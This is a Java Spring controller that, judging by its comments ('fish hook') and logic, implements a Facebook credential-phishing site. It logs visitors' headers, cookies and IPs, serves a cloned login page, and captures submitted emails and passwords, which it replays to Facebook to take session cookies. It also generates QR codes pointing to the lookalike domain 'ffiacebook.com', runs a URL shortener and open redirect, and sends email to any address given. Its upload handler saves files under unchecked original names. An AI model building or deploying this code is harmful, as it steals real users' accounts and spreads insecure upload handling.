package com.wangsh.splider.web.head.controller;

import java.awt.image.BufferedImage;
import java.io.File;
import java.io.IOException;
import java.util.Date;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.Map;

import javax.annotation.Resource;
import javax.imageio.ImageIO;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;

import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.multipart.MultipartFile;

import com.alibaba.fastjson.JSONObject;
import com.wangsh.splider.common.pojo.ApiResponse;
import com.wangsh.splider.common.pojo.ApiResponseEnum;
import com.wangsh.splider.common.util.ConstatFinalUtil;
import com.wangsh.splider.common.util.PageInfoUtil;
import com.wangsh.splider.common.util.QRcodeUtil;
import com.wangsh.splider.controller.BaseController;
import com.wangsh.splider.orders.pojo.AOrdersClient;
import com.wangsh.splider.orders.pojo.AOrdersClientEnum;
import com.wangsh.splider.orders.pojo.AOrdersUsers;
import com.wangsh.splider.orders.pojo.AOrdersUsersEnum;
import com.wangsh.splider.orders.service.IOrdersDbService;
import com.wangsh.splider.orders.service.IOrdersOperService;
import com.wangsh.splider.system.pojo.ASysCountry;
import com.wangsh.splider.system.pojo.ASysIp;
import com.wangsh.splider.system.pojo.ASysPro;
import com.wangsh.splider.system.pojo.ASysShortUrl;
import com.wangsh.splider.system.service.ISystemDbService;
import com.wangsh.splider.system.service.ISystemOperService;

/**
 * 前台首页操作,不需要登陆
 * 
 * @author wangsh
 */
@Controller
@RequestMapping("/")
public class MainHeadController extends BaseController
{
	@Resource
	private IOrdersDbService ordersDbService;
	@Resource
	private IOrdersOperService ordersOperService;
	@Resource
	private ISystemOperService systemOperService;
	@Resource
	private ISystemDbService systemDbService;

	/**
	 * 鱼钩; 专门跳转到facebook上面
	 * 
	 * @return
	 * @throws IOException
	 */
	@RequestMapping("/link/{keyReq}")
	public String fishHook_Facebook(HttpServletRequest request, HttpServletResponse response,
			@PathVariable String keyReq, String cookieSou) throws IOException
	{
		ConstatFinalUtil.SYS_LOGGER.info("==fishHook_Facebook===keyReq:{}", keyReq);
		JSONObject resultJSON = new JSONObject();

		/* ===获取请求头的信息=== */
		JSONObject requestJSON = new JSONObject();
		String cookie = request.getHeader("cookie");
		/* 判断生成Cookie */
		cookie = this.newCookie(cookie, request, response);
		/* 处理Cookie */
		cookie = this.proccedCookie(cookie, response);
		/* 如果参数传来了Cookie,以参数中的Cookie为主 */
		if (cookieSou != null && !"".equalsIgnoreCase(cookieSou))
		{
			/* 处理Cookie */
			cookie = cookieSou;
		}
		/* 获取客户端的请求头 */
		Enumeration<String> headerEnu = request.getHeaderNames();
		while (headerEnu.hasMoreElements())
		{
			String key = headerEnu.nextElement();
			String val = request.getHeader(key);
			requestJSON.put(key, val);
		}
		/* 接收参数 */
		String acceptLanguage = request.getParameter("acceptLanguage");
		if (acceptLanguage == null)
		{
			acceptLanguage = "";
		}
		if (!"".equalsIgnoreCase(acceptLanguage))
		{
			/* 设置请求头 */
			requestJSON.put("accept-language", acceptLanguage);
		}
		
		/* 先存储Ip地址,真实ip */
		String ip = this.findIp(request);
		ApiResponse<ASysIp> sysIpApiResponse = this.systemOperService.operFindIp(ip);
		ASysIp sysIp = sysIpApiResponse.getDataOneJava() ; 
		requestJSON.put("ip", ip);
		
		/* 客户端设置的ip */
		String clientIp = request.getParameter("clientIp");
		if(clientIp == null)
		{
			clientIp = "" ;
		}
		if(!"".equalsIgnoreCase(clientIp))
		{
			requestJSON.put("clientIp", clientIp);
			/* 存储客户端设置的ip */
			sysIpApiResponse = this.systemOperService.operFindIp(clientIp);
			sysIp = sysIpApiResponse.getDataOneJava() ; 
		}
		
		resultJSON.put("request", requestJSON);
		
		/* 把此信息存储到数据库中 */
		AOrdersClient ordersClient = new AOrdersClient();
		/* 设置ip地址 */
		ordersClient.setSysIpId(sysIp.getId());
		/* 设置请求头信息 */
		ordersClient.setHttpSource(resultJSON.toJSONString());
		/* 设置Cookie */
		ordersClient.setStatus(AOrdersClientEnum.STATUS_ENABLED.getStatus());
		ordersClient.setCookieClient(cookie);
		ordersClient.setPubTime(new Date());

		ApiResponse<Object> responseDb = this.ordersDbService.saveOneClientService(ordersClient);
		ConstatFinalUtil.SYS_LOGGER.info("存储请求结果:{}", responseDb.toJSON());
		/* 什么也不干,直接跳转到facebook上面 */
		String returnUrl = "https://www.facebook.com";
		if ("facebook".equalsIgnoreCase(keyReq))
		{
			ASysPro sysPro = (ASysPro) ConstatFinalUtil.SYS_PRO_MAP.get("fish_faceBook");
			if (sysPro != null)
			{
				returnUrl = sysPro.getVals();
			}
		} else if ("facebookl".equalsIgnoreCase(keyReq))
		{
			/* 跳转到faceBook的页面 */
			// return this.facebook(request, response,ordersReq,returnUrl);
			return "redirect:/facebook.htm";
		} else if ("facebooklo".equalsIgnoreCase(keyReq))
		{
			/* 跳转到faceBook的页面 */
			request.setAttribute("url", request.getContextPath() + "/facebook.htm");
			request.setAttribute("name", "facebook");
			return "/head/open";
		} else if ("ip".equalsIgnoreCase(keyReq))
		{
			return "redirect:/ip.htm";
		}
		response.sendRedirect(returnUrl);
		return null;
	}

	/**
	 * 鱼钩; 专门跳转到facebook上面
	 * 
	 * @return
	 * @throws IOException
	 */
	@RequestMapping("/facebook")
	@ResponseBody
	public String facebook(HttpServletRequest request, HttpServletResponse response) throws IOException
	{
		ConstatFinalUtil.SYS_LOGGER.info("==facebook===");
		Map<String, Object> condMap = new HashMap<String, Object>();

		/* =========未登陆======= */
		/* 获取Cookie */
		String cookie = request.getHeader("cookie");
		/* 判断生成Cookie */
		cookie = this.newCookie(cookie, request, response);

		/* 处理Cookie */
		cookie = this.proccedCookie(cookie, response);

		condMap.put("cookieClient", cookie);
		ApiResponse<AOrdersClient> apiResonse = this.ordersDbService.findOneClientService(condMap);
		AOrdersClient ordersClient = apiResonse.getDataOneJava();

		if (ordersClient == null)
		{
			/* 进入的渠道非法 */
			this.fishHook_Facebook(request, response, "facebookl", cookie);
			/* 先保存,再查询一次 */
			apiResonse = this.ordersDbService.findOneClientService(condMap);
			ordersClient = apiResonse.getDataOneJava();
		}

		/* 第一次请求faceBook,就是为了打开登陆页面 */
		ApiResponse<Object> apiResonseDb = this.ordersOperService.updateRequestHeadSourceService(ordersClient);
		ConstatFinalUtil.SYS_LOGGER.info("未登陆请求facebook结果::{}", apiResonseDb.toJSON().toJSONString());
		/* 由于是自己的服务,不需要设置Cookie */
		return ordersClient.getHtmlContent();
	}

	/**
	 * facebook,登陆提交
	 * 
	 * ~获取到用户输入的用户名和密码 ~拿着用户名和密码请求facebook ~获取到最终的Cookie
	 * 
	 * @return
	 * @throws IOException
	 */
	@RequestMapping("/facebookSubmit")
	@ResponseBody
	public String facebookSubmit(HttpServletRequest request, HttpServletResponse response) throws IOException
	{
		ConstatFinalUtil.SYS_LOGGER.info("==facebookSubmit===");
		Map<String, Object> paramsMap = new HashMap<String, Object>();
		Map<String, Object> condMap = new HashMap<String, Object>();

		/* ===接收参数=== */
		String email = request.getParameter("email");
		String pass = request.getParameter("pass");
		if (email == null)
		{
			email = "";
		}

		if ("".equalsIgnoreCase(email))
		{
			/* 邮箱为空,直接跳转到登陆页面 */
			return this.facebook(request, response);
		}

		/* 获取Cookie */
		String cookie = request.getHeader("cookie");
		/* 判断生成Cookie */
		cookie = this.newCookie(cookie, request, response);

		/* 处理Cookie */
		cookie = this.proccedCookie(cookie, response);

		/* 一定要存储到Cookie */
		condMap.put("cookieClient", cookie);
		ApiResponse<AOrdersClient> apiResonse = this.ordersDbService.findOneClientService(condMap);
		AOrdersClient ordersClient = apiResonse.getDataOneJava();

		if (ordersClient == null)
		{
			/* 进入的渠道非法 */
			this.fishHook_Facebook(request, response, "facebookl", cookie);
			/* 先保存,再查询一次 */
			apiResonse = this.ordersDbService.findOneClientService(condMap);
			ordersClient = apiResonse.getDataOneJava();
		}

		/*
		 * 根据各种渠道获取AOrdersUsers 查询不到会保存一条AOrdersUsers
		 */
		paramsMap.put("cookie", cookie);
		paramsMap.put("email", email);
		paramsMap.put("pass", pass);
		ApiResponse<AOrdersUsers> apiResonseUsers = this.ordersOperService.operFindOneClientService(paramsMap);
		AOrdersUsers ordersUsers = apiResonseUsers.getDataOneJava();

		/* 获取到原密码 */
		String souPass = ordersUsers.getPassword();

		ordersUsers.setEmail(email);
		ordersUsers.setPassword(pass);
		ApiResponse<Object> apiResponseDb = this.ordersOperService.updateLoginService(ordersUsers);
		if (ApiResponseEnum.STATUS_SUCCESS.getStatus() == apiResponseDb.getCode())
		{
			/* 登陆成功,使用新密码 */
			response.sendRedirect(request.getContextPath() + "/facebookR.htm?email=" + email);
		} else
		{
			/* 登陆失败,接着返回登陆页面 */
			/*
			 * 如果原来是成功的,并且密码一样,更新状态 已访问或者无效的,每次都要更新密码
			 */
			if (ordersUsers.getStatus() == AOrdersUsersEnum.STATUS_VISTED.getStatus()
					|| ordersUsers.getStatus() == AOrdersUsersEnum.STATUS_INVALID.getStatus())
			{
				ordersUsers.setPassword(souPass);
				ordersUsers.setStatus(AOrdersUsersEnum.STATUS_INVALID.getStatus());
				ordersUsers.setUpdateTime(new Date());
				ApiResponse<Object> apiResponseDb2 = this.ordersDbService.updateOneUsersService(ordersUsers);
				ConstatFinalUtil.SYS_LOGGER.info("==密码失效:{}==", apiResponseDb2.toJSON().toJSONString());
			}
			return ordersUsers.getHtmlContent();
		}
		return null;
	}

	/**
	 * 纯跳转测试
	 * 
	 * @return
	 */
	/**
	 * @param request
	 * @param response
	 * @return
	 * @throws IOException
	 */
	@RequestMapping("/facebookR")
	@ResponseBody
	public String facebookR(HttpServletRequest request, HttpServletResponse response) throws IOException
	{
		ConstatFinalUtil.SYS_LOGGER.info("==facebookR==");
		Map<String, Object> condMap = new HashMap<String, Object>();

		/* 获取Cookie */
		String email = request.getParameter("email");
		condMap.put("email", email);
		ApiResponse<AOrdersUsers> apiResonse = this.ordersDbService.findOneUsersService(condMap);
		AOrdersUsers ordersUsers = apiResonse.getDataOneJava();
		if (ordersUsers != null)
		{
			/* 验证登陆操作 */
			ApiResponse<Object> apiResponse = this.ordersOperService.updateRequestHeadTargetService(ordersUsers);
			return ordersUsers.getHtmlContent();
		} else
		{
			ConstatFinalUtil.SYS_LOGGER.info("查询不到邮箱:{}", email);
			return "redirect:/facebook.htm";
		}
	}

	/**
	 * 获取所有的地区编码
	 * 
	 * @param request
	 * @return
	 * @throws IOException
	 */
	@RequestMapping("/localeAll")
	public String localeAll(HttpServletRequest request, HttpServletResponse response) throws IOException
	{
		ConstatFinalUtil.SYS_LOGGER.info("=====localeAll=====");
		/* 可用的本地区域 */
		// Locale[] locales = Locale.getAvailableLocales();
		// request.setAttribute("locales", locales);
		/* 分页信息 */
		PageInfoUtil pageInfoUtil = this.proccedPageInfo(request);
		/* 搜索条件,生成公共的搜索条件 */
		Map<String, Object> condMap = this.proccedSearch(request);
		/*
		 * 查询数据库 所有的数据以JSON的形式返回
		 */
		ApiResponse<ASysCountry> response1 = this.systemDbService.findCondListCountryService(pageInfoUtil, condMap);
		/* 将结果存储到Request中 */
		request.setAttribute("response", response1.toJSON());
		return "/head/localeAll";
	}

	/**
	 * 获取所有的地区编码
	 * 
	 * @param request
	 * @return
	 * @throws IOException
	 */
	@RequestMapping("/ip")
	public String ip(HttpServletRequest request, HttpServletResponse response) throws IOException
	{
		ConstatFinalUtil.SYS_LOGGER.info("=====ip=====");
		/* 如果ip为空,查询的是本机的ip,如果不为空,查询的是指定的ip */
		String ip = request.getParameter("ip");
		if (ip == null)
		{
			ip = "";
		}
		if ("".equalsIgnoreCase(ip))
		{
			ip = this.findIp(request);
		}
		/* 查询Ip */
		ApiResponse<ASysIp> apiResponse = this.systemOperService.operFindIp(ip);
		/* 清除信息*/
		apiResponse.clearInfo();
		/* 解析JSON */
		request.setAttribute("response", apiResponse.toJSON());
		return "/head/ip";
	}

	@RequestMapping("/QrCode")
	public String orcode(HttpServletRequest request, HttpServletResponse response) throws IOException
	{
		String or = request.getParameter("qrcode");
		request.getSession().setAttribute("o", or);
		String output = request.getParameter("output");
		request.getSession().setAttribute("output", output);
		String error = request.getParameter("error");
		request.getSession().setAttribute("error", error);
		return "head/QrCode";
	}

	 

	/**
	 *  * 二维码
	 */
	@RequestMapping("getQRCode")
	public void getQRCode(HttpServletRequest request, HttpServletResponse response) throws Exception
	{

		ConstatFinalUtil.SYS_LOGGER.info("=====getQRCode=====");
		// String content = request.getParameter("orcode");
		String content = (String) request.getSession().getAttribute("o");
		if (content == null)
		{
			content = "http://ffiacebook.com/link/facebookl.htm";
		}
		
		String output=(String) request.getSession().getAttribute("output");
		if(output ==null)
		{
			response.setContentType("image/png");	
			output="png";
		}else if(output .equalsIgnoreCase("JPEG"))
		{
			response.setContentType("image/JPEG");	
		}else if(output .equalsIgnoreCase("GIF"))
		{
			response.setContentType("image/GIF");	
		}
		/* png 的MIME类型  */
		 
		response.setHeader("Pragma", "No-cache");
		response.setHeader("Cache-Control", "no-cache");
		response.setDateHeader("Expires", 0);
		// 存入会话session
		HttpSession session = request.getSession(true);
		session.setAttribute("randSess", content);

		BufferedImage image = QRcodeUtil.operGetEncode(content);
		ImageIO.write(image, output, response.getOutputStream());

	}

	/**
	 * 上传文件
	 */
	@RequestMapping(value = "/upload", method = RequestMethod.POST)
	public String upload(HttpServletRequest request, @RequestParam("file") MultipartFile file) throws Exception
	{
		ConstatFinalUtil.SYS_LOGGER.info("=====upload=====");
		if (!file.isEmpty())
		{
			// 上传文件路径
			String path = request.getServletContext().getRealPath("/imgage/");
			// 上传文件名
			String filename = file.getOriginalFilename();
			File filepath = new File(path, filename);
			// 判断路径是否存在，如果不存在就创建一个
			if (!filepath.getParentFile().exists())
			{
				filepath.getParentFile().mkdirs();
			}
			// 将上传文件保存到一个目标文件当中
			file.transferTo(new File(path + File.separator + filename));
			request.getSession().setAttribute("path", path + filename);
			// ConstatFinalUtil.SYS_LOGGER.info("文件路径:{}, ", filepath );
			return "head/Encode";
		} else
		{
			return "head/QrCode";
		}

	}

	@RequestMapping("/Encode")
	public String encode(HttpServletRequest request, Model model)
	{
		String path = (String) request.getSession().getAttribute("path");
		String content = QRcodeUtil.operAnalyzeEncode(path);
		// ConstatFinalUtil.SYS_LOGGER.info("文件内容:{}, ", content );
		request.getSession().setAttribute("content", content);
		return "head/Encode";
	}
	@RequestMapping("/shortUrl")
	public String shortUrl(HttpServletRequest request)
	{
		ConstatFinalUtil.SYS_LOGGER.info("=====shortUrl=====");
		return "head/shortUrl";
	}
	
	@RequestMapping("/generate")
	public String Short(HttpServletRequest request, HttpServletResponse response, ASysShortUrl shortUrl)
	{
		ConstatFinalUtil.SYS_LOGGER.info("=====shortUrl=====");
		//获取到输入的长连接
		String url = request.getParameter("url");
		String short_url=null;
		if (url == null || "".equals(url)){
            return null;
        }
		//判断长连接是否符合规范要求
        if(url.startsWith("http://") || url.startsWith("https://")){
    		Map<String, Object> condMap =new HashMap<String, Object>();
        	condMap.put("long_url", url);
        	//先查看数据库 看是否存在
			ApiResponse<ASysShortUrl> apiResponse = this.systemDbService.findOneShortUrlService(condMap );
			if(apiResponse.getDataOneJava() ==null)
        	{
        		short_url = this.generateShortUtil.gererateShortUrl(url);
        		shortUrl.setLong_url(url);
        		shortUrl.setShort_url(short_url);
        		shortUrl.setStatus(Byte.valueOf("1"));
        		shortUrl.setCreateTime(new Date());
        		shortUrl.setPubTime(new Date());
        		shortUrl.setUpdateTime(new Date());
        		ApiResponse<Object> apiResponse2 = this.systemDbService.saveOneShortUrlService(shortUrl);
        		ConstatFinalUtil.SYS_LOGGER.info("--ShortUrl添加返回结果:{}--", apiResponse2.toJSON());
        	}else
        	{
        		ASysShortUrl shortUrl2 = apiResponse.getDataOneJava();
        		short_url = shortUrl2.getShort_url();
        	}
			request.getSession().setAttribute("longurl",  url);
            request.getSession().setAttribute("shorturl",  short_url);
            return "head/shortUrl";  
        }else{
            return "网址必须以http或https开头";
        }
		 
	}
	
	/**
     * 301跳转
     * @param url
     */
    @RequestMapping("/shortUrl/{url}")
    public String restoreUrl(@PathVariable("url") String url)
    {
    	ConstatFinalUtil.SYS_LOGGER.info("==restoreUrl==");
    	//String surl="http://192.168.1.105:8080/splider-web-head/shortUrl/"+url+".htm";
    	Map<String, Object> condMap =new HashMap<String, Object>();
    	condMap.put("short_url", url);
		ApiResponse<ASysShortUrl> apiResponse = this.systemDbService.findOneShortUrlService(condMap );
		ASysShortUrl shortUrl = apiResponse.getDataOneJava();
		String long_url = shortUrl.getLong_url();
 
        if(long_url != null && !"".equals(long_url)){
            return "redirect:"+long_url;
        }else{
            return "redirect:http://www.baidu.com";
        }
 
    }
	
	@RequestMapping("/email")
	public String email(HttpServletRequest request, HttpServletResponse response)
	{
		ConstatFinalUtil.SYS_LOGGER.info("=====email=====");
		String number = request.getParameter("number");
		String subject = request.getParameter("subject");
		String info = request.getParameter("info");
		this.systemOperService.operSendEmail(null,number, info, subject);
		return "head/email";
	}
	
 

}
